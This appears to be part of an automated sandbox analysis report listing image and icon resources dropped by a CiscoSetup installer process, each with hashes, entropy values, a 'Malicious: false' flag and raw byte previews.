Size (bytes):	399779
Entropy (8bit):	7.9639437199622165
Encrypted:	false
SSDEEP:	12288:NZGJOTaTKegfZjGiFfyHLyforThgWTZcWX1nQ8WMsETaVovwV:/JT6g5JyjrThgWTZvQ8lsvVnV
MD5:	DF0BDC3CDA98B3BE333FEB2A2770002C
SHA1:	D0FED726183EBEA0B535EE06A66805E7BF3C9386
SHA-256:	FD3413367D94F80DC520390C0971F9AA44003C9C6F32BCBC3303A6682D0B0175
SHA-512:	46F9DA519D7D8E1D192D9EB6082FBEAAE164EC58C97C22BB576B8DEEC387B57FFC8CF8BF75412C8FD2B30B9962B96070A679F2E26558099B5DB4411A59E0386D
Malicious:	false
Preview:	......JFIF.....H.H.....,Photoshop 3.0.8BIM.........H.......H........D.http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/". xmlns:pdf="http://ns.adobe.com/pdf/1.3/">. <dc:format>image/jpeg</dc:format>. <dc:title>. <rdf:Alt>. <rdf:li xml:lang="x-default">Ba

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\error.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.044905068349432
Encrypted:	false
SSDEEP:	48:m/CRZkMiOjTrP2GqirkNv05M36iJpx8wpeXlUA9S5Sxgo2vo:mqcaTrP1zr804FjiUA9s4g7o
MD5:	1AE447E7E6E48D922E20DACEBEABF6B7
SHA1:	405E8A92B647B62F189B88AF58F1473C53F09991
SHA-256:	40107A62ABD4DE28E722EC92905913E24873CD9E10C21CEE50698949AB76C358
SHA-512:	F703E7D8AE70589C75F722BE8D64C9D136A524ADDD3AE39D0ED94C32C632EBB2E0EECB61C08342564AE42445B4146E10CED0ED4EE783DDF3785CC6D7AA124440
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P........................ne....y...s...s...s...s...s...s...y.&..`...................................................P......................................y.(...0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.......................................@................z]J.X5..M'..M'..M'..>"E...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`.........................................xh.M'..M'..M'..M'..M'..nP:.I/T...y.(...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..(.....y.&..`...............................X5..M'..M'..nP:...................y.(...0 ..0 ..0 ..=...0 ..0 ..0 ..0 ..=...0 ..0 ..0 ..(.....y.............................M'..M'..nP:...........................s.0 ..0 ..0 ..=.......WJ..0 ..0 ..WJ......J<..0 ..0 ..0 ....s.........................M'..M'...xh...............................s.0 ..0 ..0 ..0 ..WJ......WJ..WJ......WJ..0 ..0 ..0 ..0 ....s............0.......M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\expand.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0468421318534369
Encrypted:	false
SSDEEP:	6:rlL14RyS5lhJEO7dVVvydaS+Qu7lfTllv7l3Jl//lHNlP4lp4lX4lR4lf4l54lng:xh4r3rEOKJmfGJ5
MD5:	223CC34A3299A5777171F41DF8453CDD
SHA1:	559AA03C2FB5D602B4116C16A7D73EE81C99F37B
SHA-256:	7E62C5A39DCDD0DFB69F1CCC882579D71DFD4DD345828318F1170AC48ED7F934
SHA-512:	5DC60D3801387F534A126D0DE4336993954274BE9696A0D73CE3161C6B2D36B7DCFFC38AD714CCD0CFBDB397FECC9DF845AF4B65215249A7637321F38A5033D6
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\gradient.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1 x 38, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2213
Entropy (8bit):	4.905752993252195
Encrypted:	false
SSDEEP:	48:iY/6A64knA9WIiDYfv4c0POd9Od4LOR3POgHWv:iYSGknmWIiDYfQpOd9OdqOVOgHWv
MD5:	A3A99D7E09DE348A18379BA84F5FBD33
SHA1:	7E7BE73D74601EA7CCFE7389152D189DA10A275F
SHA-256:	A8F0C8E087C47D78EBC0D0D9FBE4BF124F9049BE49A4D7E919D80CEF3E294FD7
SHA-512:	414293559F4245B4065246C582D815582E4DFF1E0882CDC3B0439E66204916B9C372D5430C77C49444CB69F61C715337C67275773D76E36C377AB287FEAC2E8E
Malicious:	false
Preview:	.PNG........IHDR.......&.....2b.5....PLTE...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................h....pHYs................ iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 20

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-0JTCR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8950
Entropy (8bit):	7.969730039207073
Encrypted:	false
SSDEEP:	192:p96ObyGv4LCovtazAkU/bm8oT+4UObs9KhHU1gL3c2/Rqw:tbtuCovtazCDdxObJ5UM3hh
MD5:	4F8EBA018E164B7A5FFDA205576989E8
SHA1:	56669FFFC614C2577370B0EF84EA6EA4FFE89858
SHA-256:	815EACDBC62FED323EB3D0BBAD4596C0D699862A66258A4F994B78CE520389A1
SHA-512:	F9CBDEE29FD372DEA72C6039E705A192B2C751927490B811317CE74A56DBEF1B4C17D05D1CC29A32F060C6A761D93CDB5D2AF6C76853427F5341D7C6DA4F44E7
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx....]E......m..Z.o....AZ.n(>V.")1.-F.....m...l...b\.@....E..\|......'%.RA)...+.e.}.%..T6....3sf.s.s....{.;.7..7..)..i..i...~...?L.v....o.h..\|..@<..vR.....ILO ...N..<'a.N......N..bs..!..<,c...}b..U]...../.L...=Enx......V.3.}r.)o.u..\|...+g.Hu......k..[.$&z...G#o....o.W.`w.T.5..~=..........V..;..$`.......=zf..Di_....D...r......W].}":..w\|...=.._.s.2`r.8!.l.\|o.......;hzy..n.s.0..+?3l>....Q5=..:6....L.<.l..x.......{.O.mx..R..i..$...\....#..^7Q.>C..........$..`.=...*...~....oc.e?._q......c}.......G.'.=....<..!X5.....=.8........N@..1c.Q.....5.A.]...)....t7B.......=.V...vn...cGNbr...s.1w...g[....e.6U..{..\...N"......0:....WirR.IL.d...JQ..9.....^/.......Gb/>...z...M-..2......(1. ..$.g..Y..'N... .-)...2...S.M.%......$;.X..R..C..m.m'.\|wK...4[..`.....!..o.....,..u..4...._}.....l.O...3.mn..Y..m..M..Q.9..Y...N...!K.?.D..........!....x{d..=...T4.i.M.;.NGf...^.s.....T_&.%...7..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-0UQGA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	7.848629133083243
Encrypted:	false
SSDEEP:	48:gySVFiuSZgKTkBsSS/Z89Vn1MM1DCINukyd5Wb:gySBSZCqBhen1MM1CINgsb
MD5:	85D427479A5F8E6F69DEB0A5EC7E6DBF
SHA1:	95414451D6AE9B130831A1C297151F65AD849A6C
SHA-256:	CF8B60054D290DFA6BA59086BF18F5ED0718C721B4ADD200AC95275E5457AB58
SHA-512:	58248F232F27441ACB81B0A6AF2272D19EE1710101C3675CCAEA4BA3CE8A74D664053C58EF2D9C948F2ABCCA4F30B5ACF633A2EA53C8E260BB40FA6F1214151C
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]+s#G..K..N0P..Nf)..0... ..v......l...P.{(.2R.Yf...,a.U.d....3.....g.,..~N..$$$$$$$$$$$$$$$$$H..^.b6h.@W}.?.V?oc..O.....x^_...lR.A.......=[,.zX}..S.^..y...8!.@..4...i.5..l...sEHl..p........D.HA2..K.)....:...l.Ud.k.........:........p..Re.J...U.Y..9(.>...%....a..e..V........D.:J.eL..GJ6.P.....3B.kG...wgCP).?.5qH....85\|.tel.q..W..=..[.u.....w.3r..k.....RR.B....$....].}../.@.71.s0b.bNH4=m.l.^I..`.".. 2...X...^......U..s.!d........~..;..J.f..,)..T..V3+.g%.T.G.b..K.r..=.GF...GT5.s..N.l..:.$..,!.T.......r$>.H..1...Q..}.~&..z.:.iF.}@b..mP.....!B...e..R...A(....U.#..o5&a.43..."]".._..m.......7.G..w.5q&..V.............,.+)\.;.0zw.Th....;.!..^J..-...:L.L.iM..g..Zgq.N8.qhYd.?.7...=t.iL[..B........yi..L...q8w..>..x..p.O..VY.u.s....%A.....`....n..L.f...6_."..R.D...8..^...>.N.J.1.;.T....-...}~.M..J.:...B..{m.L.m...>.J;.\T.=).xQ..u{...f........!.)y]lck..W^.v.T.ms...%^..,.b..]ZZ...u.^...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-100B6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11585
Entropy (8bit):	7.961332304899258
Encrypted:	false
SSDEEP:	192:uoknxnFWLkyZS1HwgrTfSTVQV1r+2HPOSm9HRNxe6S1ipOvyYh95kRwjtbul4Ljh:uo4xAoKoHuVuHPOSmdfxy1ipwN5bjtbB
MD5:	FAA694AA17D61EAC6803E15397AE2C15
SHA1:	D3FBA06AA2794D460DEF2997E84EC7CBE49A83AB
SHA-256:	9AC4F60BF1A10CD08529427AAA1C419F5C4C1412D23EE5764B9EDACC3558A980
SHA-512:	5B2586AC90E5366C236AE02181172842CFDC311495157477ACB388A50CA56B5FB1EE532B753323566937012A54027DC53DE803DB4178F6F85618ADA4B015308C
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....UU..7bJ_..I&.:p..#.D.2...vOU...y......I.E0...LK ...T...E_.o.H^.......QG..Hy%v.=...;....wj..Ru.>g....}._R..U..s....^{.!.....F.!&..7~.ip....G.......n..$..-.PS..%..~.)..._i.%..A.....[.<.W.P..D.S.0]+...)U..A.>..F.V (Z.RS.s.i.tMy.'S\1;(.C..}...(Z.PS.s..+Pi.tY..B....;...H..h... R..w.]T\t.p."..N,.P.rDM..Q:..8...\|K..........._.G..d.Dk.D...'+.E.P.2.L.7..\..1\|..8~...&.0...L.a..1......s..'N.......;.O..L\|}.4E.uam.1..Q(Z.c.P5&qt...........n...p~.'O.&z........q~..A..b..,.P.2...\...QA...6.qM.'.(.)[.........z.X.B....C.l@."2..P.9....$&...n.@..Bv....#b..W..n..9&..E.....!._Q}...R..b....G.g........w\..8.W....Wz.;.~~....2W.$.....=..).U..TT Z..>.;....q.".hf.+.(Z.#C..B.%a...a.4Q?g.T..l.;GD{...0..u.......r...!`.P.Y.t..A..H......h.LT...B........v)`.BH.W.P.b".X!/.p.b..;... .....hm..6.O...VD...\.......PB..............M..!...tU9.u_/..'L.....]'.A.2$.j .j..{....7..i.kaBG.6...e@M..IY..x..+V.....@..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-1T82L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3638
Entropy (8bit):	7.889316799889741
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTH6gOjEda8+nWKHD:TSDS0tKg9E05THXOodrpKHD
MD5:	ADDC960D6A70987420055E0DEBCF4250
SHA1:	AF1D0C9386C1ADC774FC167F69B89637F414BED9
SHA-256:	B19F731C03166DB50BA5E0F0AD70A48E1223E7DD57B051A3DFB8CC23FBFAB482
SHA-512:	8F6D2CFA6BF8406CB2954029C0A43F3871C2C35E19CC0580925D4E847BFC6377749AB2A3FBF8CA030D55AEC3729AED6F54F7D7534A593A24927C8E274A811E1D
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-25CKH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4455
Entropy (8bit):	7.908038022091361
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTIaLT1ZWqwPFR34mH:TSDS0tKg9E05TBZWqqPH
MD5:	2E3C536FBC9DDA9D0DA7DD408FA3D69B
SHA1:	4056553645ACFD51D5BB1E74623ED9938C0F5717
SHA-256:	D86F0CEDDF46C275DF0FC6CF0FE70852DD270D0BC35355CC6B30CE7DDD6EC2B7
SHA-512:	AB3237097BBA665CC1B22F4A4C280C6141E8266EA9D4A569C3B53D4401E00F4E1E0F7944A172C16CDD455AF8EAF3EAA9FC43A08EFDFE7844689BFC7B4CB870F1
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-2DLM6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4370
Entropy (8bit):	7.900909498577029
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTcm/smdB4cT3NGDBWPryd:TSDS0tKg9E05Tcm/smAkMEPed
MD5:	CE71A3CEA2599D3A31ACAA9B55CA11E7
SHA1:	0592CF53E554F95BC722A21AF3CC9DF896BB6108
SHA-256:	0E0CF343355B77AA93DC0AFA9AFF96FF64EF5DFE73E9AAB57ECAA776BEC7EE7A
SHA-512:	D04AF6ED7247BCF61C969C1668A0F8F62CBA4A83E08CCFAE63755F56A4F6D49F9B1E39FABB10A3C04675828379658AE8FE414AC7682F7211C4A5F8949224E7EF
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-2GIAJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.01754566314674
Encrypted:	false
SSDEEP:	48:g/6G6GknA9Wg2A/c0glTl3clp3glfHiucV:gSuknmWg2A/qlTlslelfHiucV
MD5:	1F1425233D56C7381E8A1B9544656A3F
SHA1:	13DA3D280A4561F9018BFDF2C55396862B42C3BE
SHA-256:	FD348FEFE62E962AD34D03B3639E850AAEDCEAD2585311F8F665EFFF9319A6BA
SHA-512:	ACEC3FD68209F5AF45FC0736ECD9DB2441E69BD0A0DC43C45CEF2529BDC14B4D4A41696C0BED6E11876F066E137D29E270866FE86F3A20FC4CB9F09BA0EFE0AC
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T18:00:07-04:00" xmp:MetadataDate="2018-10-19T18:00:07-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c52f4fb1-426f-49c5-a2f3-2e915bfa2393" xmpMM:DocumentID="xmp.did:c52f4fb1-426f-49c5-a2f3-2e915bfa2393"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-2H6VF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3880
Entropy (8bit):	6.742220289284142
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcr:iXHt+JcNgOSiS4XsAYNpf2ESNVr
MD5:	3C512CF63246231506E533D6800FF3EB
SHA1:	CF02F3D7AD80DC48B900464D1F8D828F44213443
SHA-256:	C211B550E4DF39BDD1E7A39E7979EBFEAB155BDAEF2498A09D63B45713C30768
SHA-512:	ECE459102971594D5EB348FF9AA16E5EC0E7222594D63096289B566B07D020B534947D231E6C3CA1E139F407B9A5251933CF38C7BCEDAE693741499A9108D9D6
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-30R2R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12068
Entropy (8bit):	7.961027992023309
Encrypted:	false
SSDEEP:	192:ukEiqZZQXKSmwL4v9UIqsQ8Dfn0Mv2RYkTONqT0oHrkbthyZpLpXrCAfrdag8csp:uViqZZQXKSmwL4VXJhsYOTynyZpNmAjE
MD5:	7E7FE0627B08E07FEE4ED11C41A9BA59
SHA1:	E3C6036975AD146D70AE76158EEBD3D8109B0C7F
SHA-256:	019183BF0C9A25E37A7EB74ABB3DC7848C1A729BBDA1F557E26A5322DBAF11E2
SHA-512:	30E68B932388A840F92D45AA97C3B9CC012C28F36DE93D315B107C7223DCBFBF94A54A09492E930642555828FCB3F6CA519F75BE6EA451DFF7B1D2F5B8FA2472
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx...l....q.a_...n`.p.l..].!.X.cmb.T{W/8.6..6......%".T..yO)"...e!..5....[.+.;..y....RX..s..@[.&.6..j...1..sf..93..I.....;.......(F...-5>P....(.`..T\|..P...}.D.H....R.L..8.....1...$.....A.X?.sb..;@...h9.wJ.;._.)eM........Ss...........4..o.............P[j.E.~.TE..0.......ro../.PA..SjK..8A.Zs..eE..X.!...<Y..Z.rr\J.}w.....?e......`..X.c. %......p.z4M7.PC........&.6.......".1c..>...^.d..S.9../s..O... ..4.j.]S<.>u..v.d6..1..S.@.N.y..=...;...9v..=...wB..Y...%.D..$..b...6u....wM...#......w..-.g...F!...he.O..r.2.....Qj..{D.\.we}.....D. ...(...$Z...?.U......r3k.o.'R.M........s....W..h.Hm.q).U.Z...}w....;...'v..I...QO.....Q1k:.h%...Ws...UA....!7....w.f].G..X...w..^...VBT$..pQ.,`-Ms.0.H.C.......d .2....\."...."G.=...{:Xgw..Rj...&.(.e..-C..+.(.)......a...n...'.I..@...8b.'.v."..r.BF./.....`...1.$Z.T$.WE.Y5sWes.:......}:./.y.DK..R.j.B.....YQ..X d\|a.^.......F.D+.\|..(.....KZ....(.,8~...,".y.H=.! ....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-31D75.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1916
Entropy (8bit):	7.856747119568193
Encrypted:	false
SSDEEP:	48:22S/53y4Zw3U0f7kxCsJUAxuLYSze4OnbQipPVeOh2JaM9:2lA6aU0fITJUA5Sze4AbQuPVmJaM9
MD5:	88A7B064DF22129CF129C4C589E1A92E
SHA1:	FE205F326656F8468B6FF7B9702B26E0BA450D35
SHA-256:	2E7D51E65DE4287C47C4BA96A394FD678F56F6A4BAAD7E35407BDD7D52DE500D
SHA-512:	87015E250E1659A0C5A90C85F85D01DC3B19AE079BA2574A2F6276AFF97E89A6B90BA5AB855EBC7B29AAB26C4ADB64B44EE64E210DCD0A02CCE70529D0FC3910
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]=r[7.....eJ.Kg.M#..~>...H.. ..8.O .L.....T.......p.&.....P.7.G....a..X,...........m..}7:...9...o.u.7.9.,....3...>.x...^R...........y...F.."eC....dzk...5.T.).hHD.US)L.`..x^..eIA2~...`..W.g%.T..ndT.u.d..r.[r.6.6PM.=...\|....<..9..j.$'...GJ7.J...s..........<..3...Ip.C..'.....9.....G.H..C.'..n.._&i.!-)....v......'M..p..=M........=..4R...7.$b.;.iH..9.Q.....]P.%.OBL\|R.............j.T....Lc.:.):B....f5P.]+..c.>.....!.Tz8.P.N.#..@nw0.H....$.:{...K.. .%......xG...3...OA..,.9..u.b.....<....v.H./.....k~.o...8.%.'.....w.'.'.%....!t.{........).oL...y?_~...K....>j.....]3.%...$.Cr@....l+.`...Y..._0v.4.s...@3._...]{n..)...wRpO....%.w..h2.....v...p/.}..#j.@.d.t.F.HA)..`).r<.....'...cq..WI..>...qy.......h........MJ..B(W. @....\1.SK...pz.kL......2{"hF...H..'.m"........K..2...).3a.....5.NR.an.\}.t6..is0T.&....2...6..H..U_6..E....$g...S..Nm..d+qp/dI......r.b....>....q/.8Qm..I.......%.P......I...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-31F29.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26674
Entropy (8bit):	7.935979285003627
Encrypted:	false
SSDEEP:	768:YFyemvD4Gm3D6kkgmo+C24RkZErZWiTVCbFk:YryD4G+Dcgmo+C9kZsZWpFk
MD5:	B1655EC01B232A1A42E43F950321285A
SHA1:	F34C1F228C66BF4ED1B0E9901D3284EBD7A01600
SHA-256:	9E2447F1B7B4A3404C8D3588DAB59CF51635049BE4F1FC0D1BDEE77DEFFC5B47
SHA-512:	BCC1BC2AE795109EF83422613D9B0D9FF23EA81136479748FFA7CD7FC03D527B4744833728637F7892B5F60DD476F1F32122AECCCC26DB2D6092CD2346A750BA
Malicious:	false
